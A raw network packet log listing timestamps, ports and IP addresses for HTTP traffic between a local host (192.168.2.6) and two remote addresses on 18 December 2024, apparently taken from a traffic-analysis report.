Dec 18, 2024 12:00:30.522228003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.522278070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.522284031 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.522335052 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.523068905 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.523117065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.523121119 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.523175955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.523722887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.523785114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.523905993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.524504900 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.524616003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.524698973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.524740934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.525270939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.525372982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.525418043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.526025057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.526072025 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.526078939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.526119947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.526761055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.526806116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.526855946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.526896954 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.527556896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.527601004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.527637959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.527676105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.528291941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.528336048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.528431892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.528472900 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.529004097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.529050112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.529138088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.529176950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.529824018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.529867887 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.529922009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.530020952 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.530529976 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.530644894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.530647039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.530746937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.531281948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.531362057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.531455040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.532033920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.532083988 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.532145023 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.532193899 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.532834053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.533023119 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.533029079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.533133030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.533562899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.533642054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.533677101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.533720016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.534343004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.534384012 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.534575939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.534617901 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.535135984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.535288095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.535336018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.535908937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.535952091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.536022902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.536066055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.536776066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.536829948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.536995888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.537045956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.537563086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.537622929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.537664890 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.537700891 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.538522959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.538667917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.538717985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.538753986 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.539161921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.539211035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.539299965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.539376974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.539885998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.539963961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.540025949 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.540087938 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.540491104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.540534973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.540647030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.540887117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.541254997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.541317940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.541372061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.541879892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.541927099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.541981936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.542025089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.542629004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.542679071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.542754889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.542813063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.543395996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.543437004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.543529034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.543574095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.544214010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.544254065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.544281960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.544331074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.544908047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.544955969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.544986963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.545041084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.545634985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.545753002 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.545767069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.545845985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.546416044 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.546519041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.546545982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.546575069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.547256947 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.547317982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.547348976 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.547684908 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.547967911 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.548048973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.548069954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.548149109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.548656940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.548697948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.548722982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.548754930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.549534082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.549598932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.549655914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.549693108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.550266981 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.550344944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.550389051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.550595045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.551069021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.551115990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.551131964 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.551178932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.551750898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.551795006 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.551898003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.551943064 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.552537918 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.552612066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.552660942 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.553220987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.553282022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.553308964 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.553349018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.554142952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.554246902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.554256916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.554506063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.554975033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.555105925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.555114031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.555167913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.555598021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.555660009 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.598097086 CET	49969	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:30.598383904 CET	49979	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:30.706932068 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.706998110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.707010031 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.707060099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.707184076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.707231045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.707365036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.707420111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.707520962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.708090067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.708148003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.708228111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.708388090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.708966017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.709076881 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.709112883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.709167957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.709639072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.709719896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.709777117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.710386038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.710443974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.710514069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.710695028 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.711098909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.711153030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.711199045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.711287975 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.711889982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.712048054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.712176085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.712692022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.712795973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.713160038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.713370085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.713479996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.713534117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.714117050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.714252949 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.714262962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.714371920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.714911938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.715017080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.715045929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.715092897 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.715630054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.715771914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.715831041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.716507912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.716562033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.716650963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.716909885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.717382908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.717428923 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.717474937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.717535973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.718003988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.718116045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.718158960 CET	80	49979	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:30.718173027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.718236923 CET	80	49969	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:30.718257904 CET	49979	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:30.718291998 CET	49969	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:30.718858004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.718919992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.719048023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.719418049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.719512939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.719546080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.719733953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.720258951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.720413923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.720452070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.721152067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.721254110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.721276045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.721468925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.722021103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.722069979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.722181082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.722223997 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.722784996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.722834110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.723035097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.723113060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.723560095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.723603964 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.723681927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.723834038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.724117041 CET	49979	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:30.724204063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.724303007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.724323034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.725028038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.725080967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.725178957 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.725224972 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.725739002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.725771904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.725786924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.726077080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.726418972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.726459980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.726463079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.726497889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.727121115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.727164030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.727197886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.727269888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.727845907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.727893114 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.727924109 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.728681087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.728724003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.728771925 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.728914022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.729537010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.729582071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.729614019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.729665995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.730257988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.730295897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.730300903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.730402946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.731137991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.731178999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.731254101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.731359005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.731775045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.731874943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.732153893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.732208967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.732574940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.732659101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.732712984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.733395100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.733452082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.733474016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.733503103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.734122038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.734162092 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.734189034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.734257936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.734736919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.734822989 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.734827042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.735002041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.735275984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.735342026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.735373020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.735399961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.736172915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.736262083 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.736306906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.736769915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.736809015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.736928940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.737047911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.737584114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.737688065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.737814903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.738301992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.738429070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.738430023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.738682985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.739083052 CET	80	49913	185.215.113.17	192.168.2.6
